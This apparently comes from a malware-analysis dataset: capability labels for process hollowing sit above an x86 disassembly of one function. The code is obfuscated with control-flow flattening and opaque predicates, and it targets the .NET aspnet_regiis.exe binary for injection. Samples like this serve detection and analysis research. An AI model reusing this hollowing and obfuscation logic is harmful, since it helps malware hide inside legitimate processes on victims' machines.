Function at 0x1000a4d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x22c
mov eax, dword [0x10091280]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1009274c]
mov eax, dword [0x10092748]
mov edx, ecx
sub edx, 0x4c5ea026
sub edx, 1
add edx, 0x4c5ea026
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x22e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x22d], al
mov dword [ebp - 0x234], 0x551f533f
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x238], eax
sub eax, 0x8084428a
je 0x10011a56
jmp 0x1000a54b
mov eax, dword [ebp - 0x238]
sub eax, 0x81829bfb
je 0x10010dc4
jmp 0x1000a561
mov eax, dword [ebp - 0x238]
sub eax, 0x81aa1dde
je 0x100147f7
jmp 0x1000a577
mov eax, dword [ebp - 0x238]
sub eax, 0x81bd5e7b
je 0x10018860
jmp 0x1000a58d
mov eax, dword [ebp - 0x238]
sub eax, 0x81ef3665
je 0x10012830
jmp 0x1000a5a3
mov eax, dword [ebp - 0x238]
sub eax, 0x826a5b9c
je 0x10018067
jmp 0x1000a5b9
mov eax, dword [ebp - 0x238]
sub eax, 0x83033546
je 0x10013eb8
jmp 0x1000a5cf
mov eax, dword [ebp - 0x238]
sub eax, 0x8334310e
je 0x1001646d
jmp 0x1000a5e5
mov eax, dword [ebp - 0x238]
sub eax, 0x83ede1a6
je 0x1000f1be
jmp 0x1000a5fb
mov eax, dword [ebp - 0x238]
sub eax, 0x8450b53d
je 0x100186b0
jmp 0x1000a611
mov eax, dword [ebp - 0x238]
sub eax, 0x846b5397
je 0x100134c4
jmp 0x1000a627
mov eax, dword [ebp - 0x238]
sub eax, 0x84747b3f
je 0x100136d2
jmp 0x1000a63d
mov eax, dword [ebp - 0x238]
sub eax, 0x84adeec3
je 0x10010791
jmp 0x1000a653
mov eax, dword [ebp - 0x238]
sub eax, 0x84d79b83
je 0x1001504e
jmp 0x1000a669
mov eax, dword [ebp - 0x238]
sub eax, 0x8530b3e2
je 0x10017fe3
jmp 0x1000a67f
mov eax, dword [ebp - 0x238]
sub eax, 0x85efb645
je 0x1000f7df
jmp 0x1000a695
mov eax, dword [ebp - 0x238]
sub eax, 0x8775d36f
je 0x100105e6
jmp 0x1000a6ab
mov eax, dword [ebp - 0x238]
sub eax, 0x87788d96
je 0x100187cd
jmp 0x1000a6c1
mov eax, dword [ebp - 0x238]
sub eax, 0x87f36eef
je 0x100117e8
jmp 0x1000a6d7
mov eax, dword [ebp - 0x238]
sub eax, 0x88360084
je 0x10018076
jmp 0x1000a6ed
mov eax, dword [ebp - 0x238]
sub eax, 0x885013b1
je 0x100140b0
jmp 0x1000a703
mov eax, dword [ebp - 0x238]
sub eax, 0x88560c2a
je 0x10014a41
jmp 0x1000a719
mov eax, dword [ebp - 0x238]
sub eax, 0x8885f7a5
je 0x10012075
jmp 0x1000a72f
mov eax, dword [ebp - 0x238]
sub eax, 0x88986701
je 0x100127b0
jmp 0x1000a745
mov eax, dword [ebp - 0x238]
sub eax, 0x892ee8bd
je 0x1000f8ac
jmp 0x1000a75b
mov eax, dword [ebp - 0x238]
sub eax, 0x89ab9bbd
je 0x10018683
jmp 0x1000a771
mov eax, dword [ebp - 0x238]
sub eax, 0x89b3e0a1
je 0x10015e3f
jmp 0x1000a787
mov eax, dword [ebp - 0x238]
sub eax, 0x89dd343c
je 0x100144a2
jmp 0x1000a79d
mov eax, dword [ebp - 0x238]
sub eax, 0x8a72df6c
je 0x10018129
jmp 0x1000a7b3
mov eax, dword [ebp - 0x238]
sub eax, 0x8a9a4333
je 0x10018473
jmp 0x1000a7c9
mov eax, dword [ebp - 0x238]
sub eax, 0x8aa233ae
je 0x10012fd6
jmp 0x1000a7df
mov eax, dword [ebp - 0x238]
sub eax, 0x8aa5590f
je 0x1000f15e
jmp 0x1000a7f5
mov eax, dword [ebp - 0x238]
sub eax, 0x8b27b22e
je 0x10018286
jmp 0x1000a80b
mov eax, dword [ebp - 0x238]
sub eax, 0x8b7ea298
je 0x10010531
jmp 0x1000a821
mov eax, dword [ebp - 0x238]
sub eax, 0x8b835e31
je 0x1000f796
jmp 0x1000a837
mov eax, dword [ebp - 0x238]
sub eax, 0x8c7a25db
je 0x1000f62c
jmp 0x1000a84d
mov eax, dword [ebp - 0x238]
sub eax, 0x8c947f86
je 0x10017912
jmp 0x1000a863
mov eax, dword [ebp - 0x238]
sub eax, 0x8cad1037
je 0x1001558a
jmp 0x1000a879
mov eax, dword [ebp - 0x238]
sub eax, 0x8cde092a
je 0x10017861
jmp 0x1000a88f
mov eax, dword [ebp - 0x238]
sub eax, 0x8cebc490
je 0x10011329
jmp 0x1000a8a5
mov eax, dword [ebp - 0x238]
sub eax, 0x8cec91a5
je 0x100106fd
jmp 0x1000a8bb
mov eax, dword [ebp - 0x238]
sub eax, 0x8d06a61c
je 0x100153f9
jmp 0x1000a8d1
mov eax, dword [ebp - 0x238]
sub eax, 0x8d812862
je 0x10010379
jmp 0x1000a8e7
mov eax, dword [ebp - 0x238]
sub eax, 0x8da3f617
je 0x1000f0d9
jmp 0x1000a8fd
mov eax, dword [ebp - 0x238]
sub eax, 0x8e1a731e
je 0x10014228
jmp 0x1000a913
mov eax, dword [ebp - 0x238]
sub eax, 0x8e55f75b
je 0x10011180
jmp 0x1000a929
mov eax, dword [ebp - 0x238]
sub eax, 0x8e856a65
je 0x10012f6a
jmp 0x1000a93f
mov eax, dword [ebp - 0x238]
sub eax, 0x8e85ecf9
je 0x1000eeff
jmp 0x1000a955
mov eax, dword [ebp - 0x238]
sub eax, 0x8eadc46e
je 0x1001410d
jmp 0x1000a96b
mov eax, dword [ebp - 0x238]
sub eax, 0x8ec5e1b8
je 0x10016228
jmp 0x1000a981
mov eax, dword [ebp - 0x238]
sub eax, 0x8f025147
je 0x1000f90e
jmp 0x1000a997
mov eax, dword [ebp - 0x238]
sub eax, 0x8f11da28
je 0x10017549
jmp 0x1000a9ad
mov eax, dword [ebp - 0x238]
sub eax, 0x8fbef399
je 0x100181cb
jmp 0x1000a9c3
mov eax, dword [ebp - 0x238]
sub eax, 0x8fd128bc
je 0x10018200
jmp 0x1000a9d9
mov eax, dword [ebp - 0x238]
sub eax, 0x90350db5
je 0x1000f002
jmp 0x1000a9ef
mov eax, dword [ebp - 0x238]
sub eax, 0x9048e478
je 0x1001851a
jmp 0x1000aa05
mov eax, dword [ebp - 0x238]
sub eax, 0x907698bc
je 0x10015b2b
jmp 0x1000aa1b
mov eax, dword [ebp - 0x238]
sub eax, 0x9118375f
je 0x10018295
jmp 0x1000aa31
mov eax, dword [ebp - 0x238]
sub eax, 0x919b5299
je 0x100141db
jmp 0x1000aa47
mov eax, dword [ebp - 0x238]
sub eax, 0x91c1bf2f
je 0x1000f864
jmp 0x1000aa5d
mov eax, dword [ebp - 0x238]
sub eax, 0x91db45f7
je 0x10010279
jmp 0x1000aa73
mov eax, dword [ebp - 0x238]
sub eax, 0x92716e6b
je 0x100100b7
jmp 0x1000aa89
mov eax, dword [ebp - 0x238]
sub eax, 0x927a6348
je 0x10012bda
jmp 0x1000aa9f
mov eax, dword [ebp - 0x238]
sub eax, 0x927e9d38
je 0x10011b9e
jmp 0x1000aab5
mov eax, dword [ebp - 0x238]
sub eax, 0x92c73fab
je 0x10017f14
mov ecx, dword [0x1009274c]
mov eax, dword [0x10092748]
mov edx, ecx
add edx, 0x88202dc0
sub edx, 1
sub edx, 0x88202dc0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x54c36074
mov ecx, 0xf2f015e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
add edx, 0xcbba2bb7
sub edx, 1
sub edx, 0xcbba2bb7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91f4f9a
mov ecx, 0x489c4e4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xdc4d8b7c
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
add edx, 0xc9b4d53
sub edx, 1
sub edx, 0xc9b4d53
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdaa2266d
mov ecx, 0xdc52f878
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x228]
mov byte [eax], 1
mov eax, dword [ebp - 0x228]
mov al, byte [eax]
mov byte [ebp - 0x14d], al
mov dword [ebp - 0x234], 0xf51c20f7
jmp 0x10018e4c
mov eax, dword [ebp - 0x224]
mov dword [eax], 0xefb8ec9
mov dword [ebp - 0x234], 0x99dd058c
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7188094
mov ecx, 0x85efb645
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x224]
mov dword [eax], ecx
mov ecx, dword [0x1009274c]
mov eax, dword [0x10092748]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb7188094
mov ecx, 0x91c1bf2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x3ede1abd
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x1c0de06e
jmp 0x10018e4c
mov eax, dword [ebp - 0x220]
mov dword [eax], 0xefb8efe
mov dword [ebp - 0x234], 0x128baadd
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xd5298f11
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
add edx, 0xfa959e48
sub edx, 1
sub edx, 0xfa959e48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63699982
mov ecx, 0xbff9ff7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
sub edx, 0x47ce373b
sub edx, 1
add edx, 0x47ce373b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc7e2358
mov ecx, 0xbf6f8948
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x214]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x332d8613
jmp 0x10018e4c
mov ecx, dword [0x1009274c]
mov eax, dword [0x10092748]
mov edx, ecx
sub edx, 0xb7a8bd9
sub edx, 1
add edx, 0xb7a8bd9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x423b3e77
mov ecx, 0x290dc971
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4752b2c7
mov ecx, 0x5faffec8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x210]
cmp dword [eax], 0xefb8ef5
setle al
and al, 1
mov byte [ebp - 0x12a], al
mov dword [ebp - 0x234], 0x5bd3f304
jmp 0x10018e4c
mov eax, dword [ebp - 0x208]
mov dword [eax], 0xefb8f10
mov dword [ebp - 0x234], 0xf8d2ac64
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x38a42893
jmp 0x10018e4c
mov eax, dword [ebp - 0x204]
mov dword [eax], 0xefb8eef
mov eax, dword [ebp - 0x204]
cmp dword [eax], 0xefb8efe
setg al
and al, 1
mov byte [ebp - 0x111], al
mov dword [ebp - 0x234], 0xf2f92142
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xc4d024ee
jmp 0x10018e4c
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x38a3e329
mov ecx, 0x5aee2209
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28eec409
mov ecx, 0x37ce2e61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov edx, dword [ebp - 0x1f8]
mov eax, 0x1592a405
mov ecx, 0xbe3a1754
cmp dword [edx], 0xefb8ed4
cmovg eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xde8a8233
jmp 0x10018e4c
mov ecx, dword [0x1009274c]
mov eax, dword [0x10092748]
mov edx, ecx
sub edx, 0x4a1064ee
sub edx, 1
add edx, 0x4a1064ee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa937f162
mov ecx, 0x7628ca7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x3d2018ac
jmp 0x10018e4c
mov eax, dword [ebp - 0x1e8]
mov dword [eax], 0xefb8f01
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
add edx, 0xe5de2d4a
sub edx, 1
sub edx, 0xe5de2d4a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9048e478
mov ecx, 0xc88dd2a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xc58c88dc
jmp 0x10018e4c
mov eax, dword [ebp - 0x1e0]
mov dword [eax], 0xefb8edb
mov dword [ebp - 0x234], 0x7d216a02
jmp 0x10018e4c
mov ecx, dword [ebp - 0xc0]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x1e0]
mov dword [eax], ecx
mov dword [ebp - 0x234], 0x2808411f
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd07bebe4
mov ecx, 0xc171f67b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xfb7d427a
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
add edx, 0xfbd51fe4
sub edx, 1
sub edx, 0xfbd51fe4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x89ab9bbd
mov ecx, 0x45f6bcb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x1d0]
mov dword [eax], 0xefb8eed
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x234], 0x1c8ecd4c
jmp 0x10018e4c
mov eax, dword [ebp - 0x1d0]
mov dword [eax], 0xefb8ef1
mov dword [ebp - 0x234], 0xcecf6c6e
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x95ccbc9
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x95007102
jmp 0x10018e4c
mov ecx, dword [ebp - 0x9c]
sub ecx, 0x9e471d6f
add ecx, 1
add ecx, 0x9e471d6f
mov eax, dword [ebp - 0x1c4]
mov dword [eax], ecx
mov dword [ebp - 0x234], 0xa8f37ab4
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xcc9c8f10
jmp 0x10018e4c
mov eax, dword [ebp - 0x1b8]
mov byte [eax], 1
mov dword [ebp - 0x234], 0xd208dea0
jmp 0x10018e4c
mov eax, dword [ebp - 0x1b8]
mov byte [eax], 1
mov ecx, dword [0x1009274c]
mov eax, dword [0x10092748]
mov edx, ecx
sub edx, 0x14aaf8d4
sub edx, 1
add edx, 0x14aaf8d4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x87788d96
mov ecx, 0xae077d1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x31e2a649
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
sub edx, 0x7f32dcb6
sub edx, 1
add edx, 0x7f32dcb6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce66e645
mov ecx, 0xdfd460e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x190]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x234], 0xc2da997c
jmp 0x10018e4c
mov dl, byte [ebp - 0x81]
mov eax, 0xef1ceecf
mov ecx, 0x1d503fc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
mov edx, eax
sub edx, 0x83f368d4
sub edx, 1
add edx, 0x83f368d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x75ad573f
mov ecx, 0xca0a0277
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x234], 0x6f276a88
jmp 0x10018e4c
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x178]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub eax, 0x5ea53db3
add eax, ecx
add eax, 0x5ea53db3
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x26], ax
mov eax, dword [0x1009274c]
mov ecx, dword [0x10092748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f6e3bfe
mov ecx, 0xdfe6a35f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x10018e4c
mov eax, dword [ebp - 0x22c]
mov byte [eax], 0
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x234], 0x574bc5aa
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x7ccd71bf
jmp 0x10018e4c
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x234], 0x2b797efc
jmp 0x10018e4c
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x234], 0xc254844b
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x4532629c
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xc1cac9a9
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x37946766
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x479fa3ec
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x9ce62a15
jmp 0x10018e4c
mov eax, dword [ebp - 0x1e8]
mov dword [eax], 0xefb8f01
mov dword [ebp - 0x234], 0x8e856a65
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x45f6bcb4
jmp 0x10018e4c
mov dword [ebp - 0x234], 0x4dc4d7ba
jmp 0x10018e4c
mov eax, dword [ebp - 0x1b8]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x8cad1037
jmp 0x10018e4c
mov dword [ebp - 0x234], 0xca1fc9aa
jmp 0x10018e4c
jmp 0x1000a52f